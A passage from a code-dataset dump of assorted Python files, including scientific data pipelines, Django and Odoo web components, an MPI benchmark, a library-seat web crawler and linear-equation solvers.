re.compile('application/xml')\n text = re.compile('text/plain')\n\n # config path\n YAML_CONFIG = make_file_path('config.yaml')\n","sub_path":"config/constant.py","file_name":"constant.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"311442414","text":"class Solution:\n def findTargetSumWays(self, nums: List[int], S: int) -> int:\n # nlen = len(nums)\n # sumN = 0\n # for i in range(nlen):\n # sumN += nums[i]\n # if S > sumN or (sumN + S) % 2 == 1:\n # return 0\n # dp = [0] * (S + 1)\n # dp[0] = 1\n # subsetS = int((sumN + S) / 2)\n # for i in range(nlen):\n # for j in range(subsetS, nums[i] +1, -1):\n # dp[j] += dp[j-nums[i]]\n # return dp[S]\n dp = [{} for _ in range(len(nums))]\n if nums[0] == 0:\n dp[0] = {0:2}\n else:\n dp[0] = {nums[0] : 1, -nums[0] : 1}\n for i in range(1, len(nums)):\n current_hist = {}\n for k,v in dp[i-1].items():\n current_hist[k + nums[i]] = current_hist.get(k + nums[i], 0) + v\n current_hist[k - nums[i]] = current_hist.get(k-nums[i], 0) + v\n dp[i] = current_hist\n return dp[-1].get(S, 0)\n\n\n# from collections import Counter\n# class Solution:\n# def findTargetSumWays(self, nums: List[int], S: int) -> int:\n# rsum = sum(nums)\n# dp = [Counter() for i in range(len(nums)+1)]\n# dp[0][0] = 1\n# nums = [0] + nums\n# for i in range(1, len(nums)):\n# for s in range(-rsum, rsum+1):\n# dp[i][s+nums[i]] += dp[i-1][s]\n# dp[i][s-nums[i]] += dp[i-1][s]\n# return dp[len(nums)-1][S]","sub_path":"2020_03_07/saurystand_494.py","file_name":"saurystand_494.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"138191209","text":"import graphqlRequests as gql\nimport os\nimport csv\nfrom statsAnalysis import outputStatistics\n\n\ndef graphqlAnalysis(pat: str, repoShortName: str, outputDir: str):\n\n # split repo by owner and name\n owner, name = splitRepoName(repoShortName)\n\n print(\"Querying number of issues\")\n issueCount = gql.countIssuesPerRepository(pat, owner, name)\n\n print(\"Querying number of PRs\")\n prCount = gql.countPullRequestsPerRepository(pat, owner, name)\n\n print(\"Querying number of commits per PR\")\n prCommitCount = gql.countCommitsPerPullRequest(pat, owner, name)\n\n print(\"Querying issue participants\")\n issueParticipants, issueParticipantCount = gql.getIssueParticipants(\n pat, owner, name\n )\n\n print(\"Querying PR participants\")\n prParticipants, prParticipantCount = gql.getPullRequestParticipants(\n pat, owner, name\n )\n\n # join lists and clean memory\n participants = issueParticipants.union(prParticipants)\n del issueParticipants\n del prParticipants\n\n print(\"Querying number of comments per issue\")\n issueCommentCount = gql.getIssueComments(pat, owner, name)\n\n print(\"Writing GraphQL analysis results\")\n with open(os.path.join(outputDir, \"project.csv\"), \"a\", newline=\"\") as f:\n w = csv.writer(f, delimiter=\",\")\n w.writerow([\"NumberIssues\", issueCount])\n w.writerow([\"NumberPRs\", prCount])\n\n with open(os.path.join(outputDir, \"numberCommitsPR.csv\"), \"a\", newline=\"\") as f:\n w = csv.writer(f, delimiter=\",\")\n w.writerow([\"PR Number\", \"Commit Count\"])\n for key, value in prCommitCount.items():\n w.writerow([key, value])\n\n with open(\n os.path.join(outputDir, \"numberDevelopersIssue.csv\"), \"a\", newline=\"\"\n ) as f:\n w = csv.writer(f, delimiter=\",\")\n w.writerow([\"Issue Number\", \"Developer Count\"])\n for key, value in issueParticipantCount.items():\n w.writerow([key, value])\n\n with open(os.path.join(outputDir, \"numberDevelopersPR.csv\"), \"a\", newline=\"\") as f:\n w = csv.writer(f, delimiter=\",\")\n w.writerow([\"PR Number\", \"Developer Count\"])\n for key, value in prParticipantCount.items():\n w.writerow([key, value])\n\n with open(os.path.join(outputDir, \"numberCommentsIssue.csv\"), \"a\", newline=\"\") as f:\n w = csv.writer(f, delimiter=\",\")\n w.writerow([\"PR Number\", \"Commit Count\"])\n for key, value in issueCommentCount.items():\n w.writerow([key, value])\n\n # output statistics\n outputStatistics(\n [value for key, value in prCommitCount.items()], \"CommitsPRCount\", outputDir\n )\n\n outputStatistics(\n [value for key, value in issueParticipantCount.items()],\n \"DevelopersIssueCount\",\n outputDir,\n )\n\n outputStatistics(\n [value for key, value in prParticipantCount.items()],\n \"DevelopersPRCount\",\n outputDir,\n )\n\n outputStatistics(\n [value for key, value in issueCommentCount.items()],\n \"CommentsIssueCount\",\n outputDir,\n )\n\n return participants\n\n\ndef splitRepoName(repoShortName: str):\n split = repoShortName.split(\"/\")\n return split[0], split[1]\n","sub_path":"graphqlAnalysis.py","file_name":"graphqlAnalysis.py","file_ext":"py","file_size_in_byte":3174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"525253396","text":"\"\"\" Module for MODIS analysis on daytime SST\"\"\"\nimport os\nimport numpy as np\nimport subprocess \n\nimport pandas\nimport h5py \n\nfrom ulmo import io as ulmo_io\nfrom ulmo.preproc import io as pp_io \nfrom ulmo.preproc import utils as pp_utils\nfrom ulmo.modis import extract as modis_extract\nfrom ulmo.modis import utils as modis_utils\nfrom ulmo.analysis import evaluate as ulmo_evaluate \nfrom ulmo.utils import catalog as cat_utils\n\nfrom functools import partial\nfrom concurrent.futures import ProcessPoolExecutor\nimport multiprocessing\nfrom tqdm import tqdm\n\nfrom IPython import embed\n\ntbl_file = 's3://modis-l2/Tables/MODIS_L2_day_2011_std.parquet'\n\n\ndef modis_day_extract_2011(debug=False):\n\n n_cores = 10\n nsub_files = 20000\n # Pre-processing (and extraction) settings\n pdict = pp_io.load_options('standard')\n \n # 2011 \n load_path = '/data/Projects/Oceanography/data/MODIS/SST/day/2011/'\n files = [f for f in os.listdir(load_path) if f.endswith('.nc')]\n nloop = len(files) // nsub_files + ((len(files) % nsub_files) > 0)\n\n # Output\n save_path = ('MODIS_R2019_2011_day'\n '_{}clear_{}x{}_inpaint.h5'.format(pdict['clear_threshold'],\n pdict['field_size'],\n pdict['field_size']))\n s3_filename = 's3://modis-l2/Extractions/{}'.format(save_path)\n\n if debug:\n files = files[:100]\n\n # Setup for preproc\n map_fn = partial(modis_extract.extract_file,\n load_path=load_path,\n field_size=(pdict['field_size'], pdict['field_size']),\n CC_max=1.-pdict['clear_threshold'] / 100.,\n qual_thresh=pdict['quality_thresh'],\n nadir_offset=pdict['nadir_offset'],\n temp_bounds=tuple(pdict['temp_bounds']),\n nrepeat=pdict['nrepeat'],\n inpaint=True)\n\n \n fields, masks, metadata = None, None, None\n for kk in range(nloop):\n i0 = kk*nsub_files\n i1 = min((kk+1)*nsub_files, len(files))\n print('Files: {}:{} of {}'.format(i0, i1, len(files)))\n sub_files = files[i0:i1]\n\n with ProcessPoolExecutor(max_workers=n_cores) as executor:\n chunksize = len(sub_files) // n_cores if len(sub_files) // n_cores > 0 else 1\n answers = list(tqdm(executor.map(map_fn, sub_files,\n chunksize=chunksize), total=len(sub_files)))\n\n # Trim None's\n answers = [f for f in answers if f is not None]\n if fields is None:\n fields = np.concatenate([item[0] for item in answers])\n masks = np.concatenate([item[1] for item in answers])\n metadata = np.concatenate([item[2] for item in answers])\n else:\n fields = np.concatenate([fields]+[item[0] for item in answers], axis=0)\n masks = np.concatenate([masks]+[item[1] for item in answers], axis=0)\n metadata = np.concatenate([metadata]+[item[2] for item in answers], axis=0)\n del answers\n\n # Write\n columns = ['filename', 'row', 'column', 'latitude', 'longitude', \n 'clear_fraction']\n\n # Local\n with h5py.File(save_path, 'w') as f:\n #f.create_dataset('fields', data=fields.astype(np.float32))\n f.create_dataset('fields', data=fields)\n f.create_dataset('masks', data=masks.astype(np.uint8))\n dset = f.create_dataset('metadata', data=metadata.astype('S'))\n dset.attrs['columns'] = columns\n\n # Table time\n modis_table = pandas.DataFrame()\n modis_table['filename'] = [item[0] for item in metadata]\n modis_table['row'] = [int(item[1]) for item in metadata]\n modis_table['col'] = [int(item[2]) for item in metadata]\n modis_table['lat'] = [float(item[3]) for item in metadata]\n modis_table['lon'] = [float(item[4]) for item in metadata]\n modis_table['clear_fraction'] = [float(item[5]) for item in metadata]\n modis_table['field_size'] = pdict['field_size']\n modis_table['datetime'] = modis_utils.times_from_filenames(modis_table.filename.values)\n modis_table['ex_filename'] = s3_filename\n\n # Vet\n assert cat_utils.vet_main_table(modis_table)\n\n # Final write\n ulmo_io.write_main_table(modis_table, tbl_file)\n \n # Push to s3\n print(\"Pushing to s3\")\n #print(\"Run this: s3 put {} s3://modis-l2/Extractions/{}\".format(\n # save_path, save_path))\n process = subprocess.run(['s4cmd', '--force', '--endpoint-url',\n 'https://s3.nautilus.optiputer.net', 'put', save_path, \n s3_filename])\n\n\ndef modis_day_preproc(test=False):\n \"\"\"Pre-process the files\n\n Args:\n test (bool, optional): [description]. Defaults to False.\n \"\"\"\n modis_tbl = ulmo_io.load_main_table(tbl_file)\n modis_tbl = pp_utils.preproc_tbl(modis_tbl, 1., \n 's3://modis-l2',\n preproc_root='standard')\n # Vet\n assert cat_utils.vet_main_table(modis_tbl)\n\n # Final write\n ulmo_io.write_main_table(modis_tbl, tbl_file)\n\ndef modis_day_evaluate(test=False):\n\n # Load\n modis_tbl = ulmo_io.load_main_table(tbl_file)\n\n # Evaluate\n modis_tbl = ulmo_evaluate.eval_from_main(modis_tbl)\n\n # Write \n assert cat_utils.vet_main_table(modis_tbl)\n ulmo_io.write_main_table(modis_tbl, tbl_file)\n\n\ndef main(flg):\n if flg== 'all':\n flg= np.sum(np.array([2 ** ii for ii in range(25)]))\n else:\n flg= int(flg)\n\n # MODIS extract\n if flg & (2**0):\n modis_day_extract_2011(debug=False)\n\n # MODIS pre-proc\n if flg & (2**1):\n modis_day_preproc()\n\n # MODIS pre-proc\n if flg & (2**2):\n modis_day_evaluate()\n\n\n# Command line execution\nif __name__ == '__main__':\n import sys\n\n if len(sys.argv) == 1:\n flg = 0\n #flg += 2 ** 0 # 1 -- Extract\n #flg += 2 ** 1 # 2 -- Preproc\n #flg += 2 ** 2 # 4 -- Evaluate\n else:\n flg = sys.argv[1]\n\n main(flg)","sub_path":"ulmo/runs/MODIS_L2/Day/modis_day.py","file_name":"modis_day.py","file_ext":"py","file_size_in_byte":6051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"120465886","text":"# hgbd_project/hgbd/website/middleware/security_headers_middleware.py\nfrom django.conf import settings\n\n\nclass SecurityHeadersMiddleware(object):\n '''\n Class adds an appropriate headers to follow Mozilla Web Security guidelines\n '''\n def process_response(self, request, response):\n response = self.csp_header(response)\n\n return response\n\n def csp_header(self, response):\n '''\n Modifies response to add Content Security Policy (CSP) header\n https://wiki.mozilla.org/Security/Guidelines/Web_Security#Content_Security_Policy\n '''\n if getattr(settings, 'CONTENT_SECURITY_POLICY', False):\n csp_parts = {\n 'default-src': \"'self'\",\n 'img-src': \"'self' https:\",\n 'font-src': \"'self' https://fonts.gstatic.com\",\n 'style-src': (\n \"'self' 'unsafe-inline' https://fonts.googleapis.com\"\n ),\n 'script-src': (\n \"'self'\"\n \" https://ajax.googleapis.com\"\n \" https://maps.googleapis.com\"\n \" https://www.google-analytics.com\"\n ),\n }\n\n response['Content-Security-Policy'] = ''.join(\n '{0} {1};'.format(key, value)\n for key, value in csp_parts.items()\n )\n\n return response\n","sub_path":"hgbd/website/middleware/security_headers_middleware.py","file_name":"security_headers_middleware.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"292223735","text":"#mpiexec -n 2 python ping_pong_advanced2_send.py\nfrom mpi4py import MPI\nimport sys\nproc_A =0\nproc_B=1\nping=17\npong=23\nnumber_of_messages =50\nlength_of_message=8\nlength_faktor=64\nmax_length=2097152\nnumber_package_sizes=4\nbuffer = 1\nmy_rank = MPI.COMM_WORLD.Get_rank()\nstatus = MPI.Status()\n\nif (my_rank==proc_A):\n print('message size transfertime bandwith')\n\nfor counter in range(0,number_package_sizes):\n if(my_rank ==proc_A):\n MPI.COMM_WORLD.send(buffer, dest= proc_B, tag=ping)\n MPI.COMM_WORLD.recv(source= proc_B, tag=pong,status=status)\n\n elif(my_rank ==proc_B):\n MPI.COMM_WORLD.recv(source=proc_A,tag=ping,status=status)\n MPI.COMM_WORLD.send(buffer,dest=proc_A,tag=pong)\n\n start = MPI.Wtime()\n for counter2 in range(0,number_of_messages):\n if(my_rank==proc_A):\n MPI.COMM_WORLD.send(buffer, dest= proc_B, tag=ping)\n MPI.COMM_WORLD.recv(source= proc_B, tag=pong,status=status)\n\n elif(my_rank==proc_B):\n MPI.COMM_WORLD.recv(source=proc_A,tag=ping,status=status)\n MPI.COMM_WORLD.send(buffer,dest=proc_A,tag=pong)\n\nfinish =MPI.Wtime()\nif(my_rank==proc_A):\n time = finish-start\n transfer_time= time/ (2*number_of_messages)\n sendbytes = length_of_message*sys.getsizeof(buffer)\n usec = transfer_time*1e6\n mb_per_second= 1.0e-6*length_of_message*sys.getsizeof(buffer)\n print('bytes: ',sendbytes,'usec: ', usec, ' ',mb_per_second, 'MB/s')\n print('time for one messsage: ',(time/(2*number_of_messages)*1e6))\n","sub_path":"Ch3/ping_pong_advanced2_send.py","file_name":"ping_pong_advanced2_send.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"243132011","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"A small docstring for refactored conversions.\"\"\"\n\nclass ConversionNotPossibleException(Exception):\n def __init__(self, message):\n self.message = \"Conversion is not possible due to unit incompatibility.\"\n\ndef convert(fromUnit, toUnit, value):\n\n fromIsTempUnit = False\n fromIsDistUnit = False\n toIsTempUnit = False\n toIsDistUnit = False\n\n if fromUnit == \"Fahrenheit\" or fromUnit == \"Kelvin\" or fromUnit == \"Celcius\":\n fromIsTempUnit = True\n if fromUnit == \"Meters\" or fromUnit == \"Yards\" or fromUnit == \"Miles\":\n fromIsDistUnit = True\n if toUnit == \"Fahrenheit\" or toUnit == \"Kelvin\" or toUnit == \"Celcius\":\n toIsTempUnit = True\n if toUnit == \"Meters\" or toUnit == \"Yards\" or toUnit == \"Miles\":\n toIsDistUnit = True\n\n\n if fromIsTempUnit and toIsTempUnit: \n celcius = value\n if fromUnit == \"Kelvin\":\n celcius = value - 273.15\n if fromUnit == \"Fahrenheit\":\n celcius = ((value-32.0)*(5.0/9.0))\n\n kelvin = celcius + 273.15\n fahrenheit = (celcius*(9.0/5.0))+32\n\n if toUnit == \"Fahrenheit\": return fahrenheit\n if toUnit == \"Celcius\": return celcius\n if toUnit == \"Kelvin\": return kelvin\n\n elif fromIsDistUnit and toIsDistUnit: \n miles = value\n if fromUnit == \"Yards\":\n miles = value/1760.0\n if fromUnit == \"Meters\":\n miles = value/1609.344\n\n yards = miles*1760.0\n meters = miles*1609.344\n\n if toUnit == \"Miles\": return miles\n if toUnit == \"Yards\": return yards\n if toUnit == \"Meters\": return meters\n\n else: \n raise ConversionNotPossibleException(\"Conversion is not possible due to unit incompatibility.\")\n","sub_path":"conversions_refactored.py","file_name":"conversions_refactored.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"118228336","text":"import logging\nimport os\n\nimport boto3\n\nfrom django.apps import AppConfig\nfrom django.conf import settings\n\n\nlogger = logging.getLogger('events')\n\n\nclass EmailsConfig(AppConfig):\n name = 'emails'\n\n def __init__(self, app_name, app_module):\n super(EmailsConfig, self).__init__(app_name, app_module)\n try:\n self.ses_client = boto3.client(\n 'ses', region_name=settings.AWS_REGION\n )\n except Exception:\n logger.exception(\"exception during SES connect\")\n\n badwords = []\n # badwords file from:\n # https://www.cs.cmu.edu/~biglou/resources/bad-words.txt\n badwords_file_path = os.path.join(\n settings.BASE_DIR, 'emails', 'badwords.txt'\n )\n with open(badwords_file_path, 'r') as badwords_file:\n for word in badwords_file:\n badwords.append(word)\n self.badwords = badwords\n\n def ready(self):\n import emails.signals\n","sub_path":"emails/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"488271665","text":"# -*- coding: utf-8 -*-\ndef num_hist():\n symbol = input()\n num = int(input())\n numbers = input().split()\n lst = []\n for i in numbers:\n if i !=' ':\n lst.append(int(i))\n for i in range(len(lst)-1):\n print(symbol*lst[i])\n return symbol*lst[-1]\nif __name__=='__main__':\n print(num_hist())","sub_path":"Code forces/N. Numbers histogram.py","file_name":"N. Numbers histogram.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"229862070","text":"# -*- coding: utf-8 -*-\n# __author__ = 'XingHuan'\n# 9/1/2018\n\n# Copyright 2018 XingHuan\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport sys\nfrom sins.module.sqt import *\nfrom sins.utils.python import get_path\nfrom sins.ui.widgets.data_view.data_table.data_table import DataWidget\nfrom sins.ui.main.template.detail import DetailTemplate, DetailArea\nfrom sins.ui.main.template.entity_template import EntityDetailWindow\nfrom sins.config.data_view_configs import ProjectConfig, PersonConfig\nfrom sins.db.models import *\n\n\nproject_config = ProjectConfig()\n\n\nclass ProjectDetailWindow(EntityDetailWindow):\n def __init__(self, *args, **kwargs):\n super(ProjectDetailWindow, self).__init__(config=project_config,\n name=get_path(self),\n *args, **kwargs)\n\n # self.add_tabs()\n self.id_attr = 'project_id'\n self.coreproperty_list = [self.id_attr]\n setattr(self, self.id_attr, None)\n\n def add_tabs(self):\n\n person_config = PersonConfig()\n\n self.persons_data_table = DataWidget(parent=self, name='.'.join([self.name, 'persons_data_table']))\n self.persons_data_table.load_config(person_config)\n\n self.add_tab(widget=self.persons_data_table, label='Persons')\n\n def set_core_property(self, **kwargs):\n super(ProjectDetailWindow, self).set_core_property(**kwargs)\n self.id = self.project_id\n\n def update_other_data(self):\n if self.entity is not None:\n\n self.persons_data_table.set_basic_filter([\n {'join': (ProjectPersonConnection, Project), 'where': (Project.id == self.entity)}\n ])\n\n","sub_path":"sins/ui/main/project/overview/detail.py","file_name":"detail.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"54546106","text":"\n\nimport numpy as np\nimport os\n\nn_test = 1000\nn_steps = 30\nbatch_size = 1000\nd_neural = 600\nd_velocities = 2\n\n# grab data\nos.chdir('/Users/michael/Documents/brown/kobe/data')\nnpzfile = np.load('Flint_2012_e1_PCA.npz')\nall_time = npzfile['all_time']\nall_velocities = npzfile['all_velocities']\nall_neural = npzfile['all_neural']\n\nT = int(all_time) - 30\ndel all_time\n\n\ndef neural(ind):\n neur = np.zeros((ind.size, d_neural))\n for i0 in range(ind.size):\n s_idx = range(ind[i0], ind[i0] + 30)\n neur[i0, :] = all_neural[:, s_idx].flatten()\n return neur\n\n\ndef velocities(ind):\n return all_velocities[:, ind + 29].T\n\nX = neural(np.arange(5000))\ny = velocities(np.arange(5000))\n\nA_est = np.linalg.lstsq(y[:-1, ], y[1:, ])[0].T\nS_est = np.cov(y[1:, ].T-np.matmul(A_est, y[:-1, ].T))\n\nC_est = np.linalg.lstsq(y, X)[0].T\nQ_est = np.cov(X.T-np.matmul(C_est, y.T))\n\nnp.savez('kalman_estimates', A_est=A_est, S_est=S_est, C_est=C_est, Q_est=Q_est)\n\n\n","sub_path":"data_processing_code/kalman_estimates.py","file_name":"kalman_estimates.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"543975958","text":"from odoo import http\nfrom odoo.http import request\n\n\nclass IssuedPins(http.Controller):\n @http.route(\n [\n \"/my/pins\",\n \"/my/pins/page/\"\n ], \n type=\"http\", auth=\"user\", website=True\n )\n def display_issued_pins(self, **kwargs): \n user = http.request.env[\"res.users\"].sudo().search([(\"id\", \"=\", http.request.uid)], limit=1)\n page = kwargs.get(\"page\") if kwargs.get(\"page\") else 0\n issued_certificates = user.issued_certificate_ids\n total = len(issued_certificates)\n pager = request.website.pager(\n url = \"/my/pins\",\n total=total,\n page=page,\n step=10,\n )\n offset = pager[\"offset\"]\n issued_certificates = issued_certificates[offset: offset + 10]\n\n for cert in issued_certificates:\n cert.pin_id.template_render = cert.translate_pin_template()\n\n return http.request.render(\"cerific.cerific_pin_holder_pins\", {\n \"certificates\": issued_certificates,\n \"pager\": pager\n })\n","sub_path":"local/cerific/controllers/issued_pins.py","file_name":"issued_pins.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"448019578","text":"# For web request\nimport requests, os, time, datetime\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n# For google firestore query\nfrom firebase_admin import credentials, firestore, initialize_app\n#For json dump\nimport json\n\ndef crawling_lib():\n # Env for web reqeust\n chrome_options = webdriver.ChromeOptions()\n # chrome_options.binary_location = \"/usr/bin/brave-browser\"\n # driver = webdriver.Chrome('C:\\\\Users\\\\Jeongin\\\\Desktop\\\\chromedriver.exe', options=chrome_options)\n chrome_options.add_argument(\"--headless\")\n chrome_options.add_argument(\"--disable-dev-shm-usage\")\n chrome_options.add_argument(\"--no-sandbox\")\n driver = webdriver.Chrome(\"/home/jil8885/chromedriver\", options=chrome_options)\n\n # Google Firestore setup\n # Change cert path by your env\n # try:\n # cred = credentials.Certificate('C:\\\\Users\\\\Jeongin\\\\Downloads\\\\personal-sideprojects-c013420f3313.json')\n cred = credentials.Certificate('/home/jil8885/google-firebase.json')\n initialize_app(cred)\n db_client = firestore.client()\n db = db_client.collection(\"libinfo\")\n\n # ERICA Campus\n request_url = \"http://information.hanyang.ac.kr/#/smuf/seat/status\"\n now = datetime.datetime.now()\n driver.get(request_url)\n try:\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CSS_SELECTOR, \"div.ikc-container.ng-scope > div.ikc-content > div > div > div > div > table > tbody > tr:nth-child(1) > td:nth-child(3) > span:nth-child(2)\")))\n html = driver.page_source\n soup = BeautifulSoup(html, 'html.parser')\n name = soup.findAll(\"span\", {\"ng-bind\": \"s.name\"})\n total = soup.findAll(\"span\", {\"ng-bind\": \"s.activeTotal\"})\n active = soup.findAll(\"span\", {\"ng-bind\": \"s.occupied\"})\n percent = soup.findAll(\"span\", {\"ng-bind\": \"s.rate + '%'\"})\n for x in range(len(name)):\n try:\n if \"(\" not in name[x].text:\n db_doc = db.document('ERICA').collection('library_list').document(name[x].text)\n else:\n db_doc = db.document('ERICA').collection('library_list').document(name[x].text.split(\"(\")[0])\n db_doc.update({\n 'active': int(active[x].text),\n 'occupied': percent[x].text,\n 'time' : now\n })\n except:\n if \"(\" not in name[x].text:\n db_doc = db.document('ERICA').collection('library_list').document(name[x].text)\n else:\n db_doc = db.document('ERICA').collection('library_list').document(name[x].text.split(\"(\")[0])\n db_doc.set({\n 'total' : int(total[x].text),\n 'active': int(active[x].text),\n 'occupied': percent[x].text,\n 'time' : now\n }) \n finally:\n # driver.close()\n pass\n\n # Seoul Campus\n request_url = \"http://library.hanyang.ac.kr/#/smuf/seat/status\"\n driver.get(request_url)\n try:\n WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.CSS_SELECTOR, \"div.ikc-content > div > div > div > div > table > tbody > tr:nth-child(1) > td.ikc-seat-name > span:nth-child(2)\")))\n html = driver.page_source\n soup = BeautifulSoup(html, 'html.parser')\n name = soup.findAll(\"span\", {\"ng-bind\": \"s.name\"})\n total = soup.findAll(\"span\", {\"ng-bind\": \"s.activeTotal\"})\n active = soup.findAll(\"span\", {\"ng-bind\": \"s.occupied\"})\n percent = soup.findAll(\"span\", {\"ng-bind\": \"s.rate + '%'\"})\n for x in range(len(name)):\n db_doc = db.document('Seoul').collection('library_list').document(name[x].text.split(\"[\")[0])\n db_doc.update({\n 'total' : int(total[x].text),\n 'active': int(active[x].text),\n 'occupied': percent[x].text,\n 'time' : now\n })\n finally:\n driver.close()\n driver.quit()\n return\n\ncrawling_lib()","sub_path":"Library/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":4232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"293073187","text":"import webbrowser\r\n\r\n\r\nclass Movie():\r\n \"\"\"A representation of movie.\"\"\"\r\n\r\n def __init__(self, movie_title, movie_storyline,\r\n poster_image, trailer):\r\n \"\"\"Constructor of the class Movie\r\n\r\n Args:\r\n title(str) : the movie title\r\n storyline(str) : the movie's storyline\r\n poster_image_url(str) : a url link to the box art image\r\n trailer_youtube_url(str): a url link to the trailer in youtube\r\n \"\"\"\r\n self.title = movie_title\r\n self.storyline = movie_storyline\r\n self.poster_image_url = poster_image\r\n self.trailer_youtube_url = trailer\r\n\r\n def show_trailer(self):\r\n \"\"\"Calling this function will open a web browser with the trail URL\"\"\"\r\n webbrowser.open(self.trailer_youtube_url)\r\n","sub_path":"media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"157123510","text":"import numpy as np\n\n## Contains all algorithms developed by group Einstein for the first project in PH388.\n\ndef pivot(m, b):\n \"\"\"\n Swaps rows to ensure diagonal elements contain the largest values. This returns a diagonally dominant matrix for matrices which can be made diagonally dominant and if not, returns the original matrix with warning.\n \"\"\"\n\n n = len(b)\n A = m.copy()\n\n for row_swaps in range(n): # ensures the function runs enough times to carry out all potential row swaps\n for i in range(n):\n for j in range(n):\n if abs(A[i][i]) < abs(A[i][j]): # condition that the diagonal is largest, if it's not, perform row switches\n A[[i, i+1]] = A[[i+1, i]] # row switches\n b[[i, i+1]] = b[[i+1, i]]\n\n for rows in range(n):\n if abs(A[i][i]) < abs(A[i][j]): # if the diagonal is still lower than off diagonals, then the matrix isn't diagonally dominant\n print('Warning: Matrix not fully diagonally dominant')\n\n return A, b\n\n\n\n## Gaussian elimination method\n\ndef gaussian_elimination(m, b):\n \"\"\"\n Solves a system of linear equations by gaussian elimination for input matrices\n A and b, returning solution vector x.\n \"\"\"\n\n n = len(b)\n x = np.zeros(n)\n A, w = pivot(m.copy(), b.copy()) # pivot\n\n for i in range(n): # sets coeff = a_ji/a_ii, subtracts this val from jth row for each k element, reducing matrix\n for j in range(i+1, n):\n if A[j][i] == 0: # if element is already 0, continue\n continue\n\n coeff = A[j][i]/A[i][i] # sets the coefficient term to be subtracted in producing augmented A\n w[j] = (w[j] - coeff * w[i]) # calculates corresponding rhs vals\n\n for k in range(i, n):\n A[j][k] = A[j][k] - coeff * A[i][k] # multiplies each row by coeff and subtracts it from each element\n\n x[n-1] = w[n-1] / A[n-1][n-1] # solves the last row of the upper triangle matrix for X\n\n for i in range(n-1, -1, -1): # moves backwards to -1 in steps of -1\n sum = 0 # starts counter for the sum\n for j in range(i+1, n):\n sum += A[i][j] * x[j] # computes sum\n\n x[i] = (w[i] - sum)/A[i][i] # solves for given x by subtracting unwanted coefficient\n\n return x\n\n\n\n## Jacobi method\n\ndef jacobi(m, b, iterations=100, guess=None, convergence=1e-13):\n \"\"\"\n Systems of linear equations solver using jacobian iteration method for input matrices A and b, initial guess parameter for x and a desired convergence threshold returning solution vector x.\n \"\"\"\n\n n = len(b)\n D = np.zeros((n, n)) # empty 0 array to be used in creating diagonal matrix\n A, b = pivot(m.copy(), b.copy()) # not strictly diagonally dominant but performs a partial pivot\n\n if guess is None:\n x = np.zeros(n) # if no guess vector entered, creates 1\n else:\n x = guess\n\n for i in range(n):\n for j in range(n):\n if i == j:\n D[i][j] = A[i][j] # conserves the diagonal elements of A, leaving off diags as 0\n else:\n continue\n\n LU = A - D # removes the diagonal elements leaving a lower upper matrix\n j = np.dot(np.linalg.inv(D), LU) # computes the iteration matrix j\n eigvals, eigvec = np.linalg.eig(j) # computes eigenvalues of the iteration matrix j\n sr = np.absolute(eigvals).max() # calculates spectral radius, must be < 1 for convergence\n\n # If spectral radius < 1, iterates through input number of iterations and for each solution, checks to see if the solution has converged.\n z = [x]\n if sr < 1: # if SR meets convergence requirements, continues to compute solution vector\n for j in range(n):\n for i in range(1, iterations):\n x = np.dot(np.linalg.inv(D), (b - np.dot(LU, x))) # calculates solution vector element x\n z.append(np.array(x))\n if np.absolute(z[i][j] - z[i-1][j]) < convergence: # convergence checker with threshhold 1e-13\n print('Solution vector component {} converges at N={}'.format(j+1, i))\n break\n else:\n continue\n\n if np.absolute(z[i][j] - z[i-1][j]) > convergence: # checks the last iteration for convergence, if not converged yet, low count\n print('Low iteration count')\n else:\n continue\n else:\n print('No solutions') # no solutions if SR > 1\n\n return x\n\n\n\n# Gauss-Seidel method\n\ndef gauss_seidel(m, b, iterations=100, x=None, convergence=1e-13):\n \"\"\"\n Gauss-Seidel iteration method for input matrices A and b. Returns solution vector x\n & iterations required for convergence, respectively.\n The method 